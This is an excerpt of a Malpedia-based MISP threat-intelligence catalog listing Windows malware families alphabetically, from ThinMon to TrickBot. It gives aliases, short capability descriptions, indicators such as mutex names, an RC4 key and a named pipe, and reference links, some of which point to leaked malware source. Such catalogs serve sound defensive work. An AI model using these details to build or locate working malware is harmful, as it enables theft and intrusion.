https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/
https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html

ThinMon

The tag is: *misp-galaxy:malpedia="ThinMon"*

ThinMon is also known as:

Table 5342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thinmon
https://mp.weixin.qq.com/s/nyxZFXgrtm2-tBiV3-wiMg

ThreeByte

The tag is: *misp-galaxy:malpedia="ThreeByte"*

ThreeByte is also known as:

Table 5343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

ThumbThief

The tag is: *misp-galaxy:malpedia="ThumbThief"*

ThumbThief is also known as:

Table 5344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

ThunderX

Ransomware.

The tag is: *misp-galaxy:malpedia="ThunderX"*

ThunderX is also known as:

- Ranzy Locker

Table 5345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx
https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.ic3.gov/Media/News/2021/211026.pdf
https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/
https://www.mandiant.com/resources/chasing-avaddon-ransomware

Thunker

The tag is: *misp-galaxy:malpedia="Thunker"*

Thunker is also known as:

Table 5346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker

Tidepool

The tag is: *misp-galaxy:malpedia="Tidepool"*

Tidepool is also known as:

Table 5347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool
http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

TigerLite

TigerLite is a TCP downloader.

It creates mutexes like "qtrgads32" or "Microsoft32".

It uses RC4 with the key "MicrosoftCorporationValidation@#$%^&*()!US" for decryption of its character strings, and a custom algorithm for encryption and decryption of network traffic.

It supports from 5 up to 8 commands with the following identifiers: 1111, 1234, 2099/3333, 4444, 8877, 8888, 9876, 9999. The commands mostly perform various types of execution - either of code received from the server, or native Windows commands, with their output collected and sent back to the server.

TigerLite is an intermediate step of a multi-stage attack, in which Tiger RAT is usually the next step. This malware was observed in attacks against South Korean entities in H1 2021.

The tag is: *misp-galaxy:malpedia="TigerLite"*

TigerLite is also known as:

Table 5348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite
https://www.threatray.com/blog/establishing-the-tigerrat-and-tigerdownloader-malware-families
https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/
https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf
https://www.malwarebytes.com/blog/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/

Tiger RAT

This is third stage backdoor mentioned in the Kaspersky blog, "Andariel evolves to target South Korea with ransomware". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment. The backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.

The tag is: *misp-galaxy:malpedia="Tiger RAT"*

Tiger RAT is also known as:

Table 5349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat
https://asec.ahnlab.com/ko/56256/
https://www.threatray.com/blog/establishing-the-tigerrat-and-tigerdownloader-malware-families
https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf
https://asec.ahnlab.com/en/56405/
https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://www.brighttalk.com/webcast/18282/493986
https://asec.ahnlab.com/ko/58215/
https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf
https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/
https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html
https://asec.ahnlab.com/wp-content/uploads/2021/11/Lazarus-%EA%B7%B8%EB%A3%B9%EC%9D%98-NukeSped-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html

tildeb

Standalone implant. Potentially tied to a framework called PATROLWAGON.

The tag is: *misp-galaxy:malpedia="tildeb"*

tildeb is also known as:

Table 5350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb
https://documents.trendmicro.com/assets/tech-brief-tildeb-analyzing-the-18-year-old-implant-from-the-shadow-brokers-leak.pdf

TimbreStealer

The tag is: *misp-galaxy:malpedia="TimbreStealer"*

TimbreStealer is also known as:

Table 5351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.timbre_stealer
https://blog.talosintelligence.com/timbrestealer-campaign-targets-mexican-users/

Tinba

F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.

If Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.

Tinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.

The tag is: *misp-galaxy:malpedia="Tinba"*

Tinba is also known as:

- Illi
- TinyBanker
- Zusy

Table 5352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
http://www.theregister.co.uk/2012/06/04/small_banking_trojan/
https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/
https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan

http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://adalogics.com/blog/the-state-of-advanced-code-injections
http://garage4hackers.com/entry.php?b=3086
https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant
http://contagiodump.blogspot.com/2012/06/amazon.html
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf

TinyFluff

TinyFluff is a dropper developed by the OldGremlin group. In one of their March '22 campaigns, TinyFluff included a JavaScript RAT with a time-independent DGA.

The tag is: *misp-galaxy:malpedia="TinyFluff"*

TinyFluff is also known as:

Table 5353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff
https://www.group-ib.com/blog/oldgremlin-comeback/

TinyLoader

The tag is: *misp-galaxy:malpedia="TinyLoader"*

TinyLoader is also known as:

Table 5354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak

https://www.forcepoint.com/sites/default/files/resources/files/report-tinypos-analysis-en.pdf

TinyMet

TinyMet is a meterpreter stager.

The tag is: *misp-galaxy:malpedia="TinyMet"*

TinyMet is also known as:

- TiniMet

Table 5355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/
https://github.com/SherifEldeeb/TinyMet
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://twitter.com/VK_Intel/status/1273292957429510150
https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/

TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program's author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: *misp-galaxy:malpedia="TinyNuke"*

TinyNuke is also known as:

- MicroBankingTrojan
- Nuclear Bot
- NukeBot
- Xbot

Table 5356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke
https://krebsonsecurity.com/tag/nuclear-bot/
https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/
https://asec.ahnlab.com/en/32781/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html
https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/
https://asec.ahnlab.com/en/27346/

TinyTurlaNG

Cisco Talos states that TinyTurla-NG is a small “last chance” backdoor that is left behind to be used when all other unauthorized access/backdoor mechanisms have failed or been detected on the infected systems. TinyTurla-NG was seen as early as December 2023 targeting a Polish non-governmental organization (NGO) working on improving Polish democracy and supporting Ukraine during the Russian invasion.

The tag is: *misp-galaxy:malpedia="TinyTurlaNG"*

TinyTurlaNG is also known as:

- TTNG

Table 5357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyturla_ng

https://github.com/echocti/ECHO-Reports/blob/main/APT%20Reports/Turla/Turla%20Technical%20Analysis%20Report.pdf
https://blog.talosintelligence.com/tinyturla-next-generation/

TinyTyphon

The tag is: *misp-galaxy:malpedia="TinyTyphon"*

TinyTyphon is also known as:

Table 5358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

TinyZbot

The tag is: *misp-galaxy:malpedia="TinyZbot"*

TinyZbot is also known as:

Table 5359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot
https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

TinyTurla

Talos describes this as a malware family with very scoped functionality and thus a small code footprint, likely used as a second chance backdoor.

The tag is: *misp-galaxy:malpedia="TinyTurla"*

TinyTurla is also known as:

Table 5360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla

https://cybergeeks.tech/a-step-by-step-analysis-of-the-russian-apt-turla-backdoor-called-tinyturla/
https://infosec.exchange/@SophosXOps/111109357153515214
https://blog.talosintelligence.com/2021/09/tinyturla.html

Tiop

The tag is: *misp-galaxy:malpedia="Tiop"*

Tiop is also known as:

Table 5361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop

TitanStealer

The stealer is written in Go and capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files.

The tag is: *misp-galaxy:malpedia="TitanStealer"*

TitanStealer is also known as:

Table 5362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.titan_stealer
https://www.uptycs.com/blog/titan-stealer-telegram-malware-campaign
https://denshiyurei.medium.com/silent-echoes-the-hidden-dialogue-among-malware-entities-spotlight-on-amos-infostealer-6d7cd70e3219
https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html
https://github.com/D4NTESCODE/TitanStealerSource

Tmanger

The tag is: *misp-galaxy:malpedia="Tmanger"*

Tmanger is also known as:

- LuckyBack

Table 5363. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger
https://vblocalhost.com/uploads/VB2020-20.pdf
https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger
https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/

Tofsee

According to PCrisk, Tofsee (also known as Gheg) is a malicious Trojan-type program that is capable of performing DDoS attacks, mining cryptocurrency, sending emails, stealing various account credentials, updating itself, and more.

Cyber criminals mainly use this program as an email-oriented tool (they target users' email accounts), however, having Tofsee installed can also lead to many other problems.

The tag is: *misp-galaxy:malpedia="Tofsee"*

Tofsee is also known as:

- Gheg

Table 5364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee
https://www.cert.pl/en/news/single/tofsee-en/
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-3-network-based-kill-switch/
https://blog.talosintelligence.com/tofsee-spam/
https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-2-inmemoryconfig-store-vaccine/

https://gist.github.com/larsborn/0ec24d7b294248c51de0c3335802cbd4
https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-1-binary-file-vaccine/
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://www.virusbulletin.com/virusbulletin/2014/04/tofsee-botnet
https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/
https://intel471.com/blog/privateloader-malware
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/
https://web.archive.org/web/20090428005953/http://www.marshal8e6.com/trace/i/Gheg,spambot.897}.asp
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/
https://www.govcert.ch/blog/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures/
https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining

TokyoX

The tag is: *misp-galaxy:malpedia="TokyoX"*

TokyoX is also known as:

Table 5365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox
https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/
https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/

TOLLBOOTH

The tag is: *misp-galaxy:malpedia="TOLLBOOTH"*

TOLLBOOTH is also known as:

- HijackServer IIS

Table 5366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tollbooth
https://www.elastic.co/security-labs/tollbooth
https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

tomiris

The tag is: *misp-galaxy:malpedia="tomiris"*

tomiris is also known as:

Table 5367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tomiris
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/
https://securelist.com/it-threat-evolution-q2-2023/110355/

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.

The tag is: *misp-galaxy:malpedia="TONEDEAF"*

TONEDEAF is also known as:

Table 5368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/
https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/

https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

TONERJAM

According to Symantec, Grager was deployed against three organizations in Taiwan, Hong Kong, and Vietnam in April 2024. Analysis of the backdoor revealed that it used the Graph API to communicate with a C&C server hosted on Microsoft OneDrive. Grager was downloaded from a typosquatted URL mimicking the open-source file archiver 7-Zip.

The tag is: *misp-galaxy:malpedia="TONERJAM"*

TONERJAM is also known as:

Table 5369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tonerjam
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement?hl=en
https://www.security.com/threat-intelligence/cloud-espionage-attacks

TONESHELL

The tag is: *misp-galaxy:malpedia="TONESHELL"*

TONESHELL is also known as:

Table 5370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell
https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html
https://hitcon.org/2024/CMT/slides/Sailing_the_Seven_SEAs_Deep_Dive_into_Polaris_Arsenal_and_Intelligence_Insights.pdf
https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/
https://github.com/Still34/landing/blob/master/assets/slides/2024-08-Sailing%20the%20Seven%20SEAs.pdf
https://www.welivesecurity.com/en/eset-research/separating-bee-panda-ceranakeeper-making-beeline-thailand/
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/
https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/
https://www.ibm.com/think/x-force/hive0154-drops-updated-toneshell-backdoor

https://hunt.io/blog/toneshell-backdoor-used-to-target-attendees-of-the-iiss-defence-summit

Tonnerre

The tag is: *misp-galaxy:malpedia="Tonnerre"*

Tonnerre is also known as:

Table 5371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tonnerre
https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf
https://research.checkpoint.com/2021/after-lightning-comes-thunder/

Topinambour

The tag is: *misp-galaxy:malpedia="Topinambour"*

Topinambour is also known as:

Table 5372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/

Torisma

Torisma is a complex HTTP(S) downloader, that can serve as an orchestrator handling the execution of additional payloads from the C&C server.

It uses VEST-32 for encryption and decryption of network traffic between the client and the server.

Typically, it uses these parameter names for its HTTP POST requests: ACTION, CODE, CACHE, REQUEST, RES. It sends the victim's MAC address in the initial request.

The response of the server informing the client about a successful authentication is "Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}". The client then requests additional data from the server, that decrypts to shellcode and its data parameters, and is executed. The client also creates a named pipe, \\.\pipe\fb4d1181bb09b484d058768598b, that allows inter-process communication with the executed shellcode.

Torisma was usually downloaded by NedDnLoader, and deployed in the Operation DreamJob campaigns starting around Q4 2019.

The tag is: *misp-galaxy:malpedia="Torisma"*

Torisma is also known as:

Table 5373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/
https://www.telsy.com/lazarus-gate/
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html
http://blog.nsfocus.net/stumbzarus-apt-lazarus/
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf

TorrentLocker

The tag is: *misp-galaxy:malpedia="TorrentLocker"*

TorrentLocker is also known as:

- Teerac

Table 5374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

TorLoader

Downloader, delivered via a lure with fake exploits published on Github.

The tag is: *misp-galaxy:malpedia="TorLoader"*

TorLoader is also known as:

Table 5375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader
https://vulncheck.com/blog/fake-repos-deliver-malicious-implant

TOUCHMOVE

The tag is: *misp-galaxy:malpedia="TOUCHMOVE"*

TOUCHMOVE is also known as:

Table 5376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/
https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970

TOUCHSHIFT

The tag is: *misp-galaxy:malpedia="TOUCHSHIFT"*

TOUCHSHIFT is also known as:

Table 5377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.touchshift
https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970

TOUGHPROGRESS

According to Google Threat Intelligence Group, this malware uses Google Calendar events for command and control (C2).

The tag is: *misp-galaxy:malpedia="TOUGHPROGRESS"*

TOUGHPROGRESS is also known as:

Table 5378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.toughprogress
https://cloud.google.com/blog/topics/threat-intelligence/apt41-innovative-tactics

ToxicEye

ToxicEye is a ransomware that spreads through phishing emails. The malware encrypts system files with AES-256 and demands a ransom in Bitcoin.

The tag is: *misp-galaxy:malpedia="ToxicEye"*

ToxicEye is also known as:

Table 5379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye
https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/
https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/
https://github.com/albertzsigovits/malware-cfg/tree/main/ToxicEyeRAT

TransBox

According to Trend Micro, this is a backdoor abusing the Dropbox API, used by threat actor Earth Yako.

The tag is: *misp-galaxy:malpedia="TransBox"*

TransBox is also known as:

Table 5380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox
https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html

TransferLoader

The tag is: *misp-galaxy:malpedia="TransferLoader"*

TransferLoader is also known as:

Table 5381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.transferloader
https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader
https://www.zscaler.com/blogs/security-research/technical-analysis-transferloader

tRat

tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.

The tag is: *misp-galaxy:malpedia="tRat"*

tRat is also known as:

Table 5382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trat
https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

TreasureHunter

The tag is: *misp-galaxy:malpedia="TreasureHunter"*

TreasureHunter is also known as:

- huntpos

Table 5383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter
http://adelmas.com/blog/treasurehunter.php
https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html
https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/

TrickBot

A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.

- Q4 2016 - Detected in wild Oct 2016 - 1st Report 2017 - Trickbot primarily uses Necurs as vehicle for installs. Jan 2018 - Use XMRIG (Monero) miner Feb 2018 - Theft Bitcoin Mar 2018 - Unfinished ransomware module Q3/4 2018 - Trickbot starts being spread through Emotet.

Infection Vector 1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot 2. Phish > Attached MS Office > Macro Enabled > Downloader > Trickbot 3. Phish > Attached MS Office > Macro enabled > Trickbot installed

The tag is: *misp-galaxy:malpedia="TrickBot"*

TrickBot is also known as:

- TheTrick
- TrickLoader
- Trickster

Table 5384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/
https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/
https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/
https://www.europol.europa.eu/media-press/newsroom/news/largest-ever-operation-against-botnets-hits-dropper-malware-ecosystem
https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://unit42.paloaltonetworks.com/banking-trojan-techniques/
https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html
https://blog.vincss.net/2021/10/re025-trickbot-many-tricks.html
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://blog.lumen.com/a-look-inside-the-trickbot-botnet/
https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html
https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/
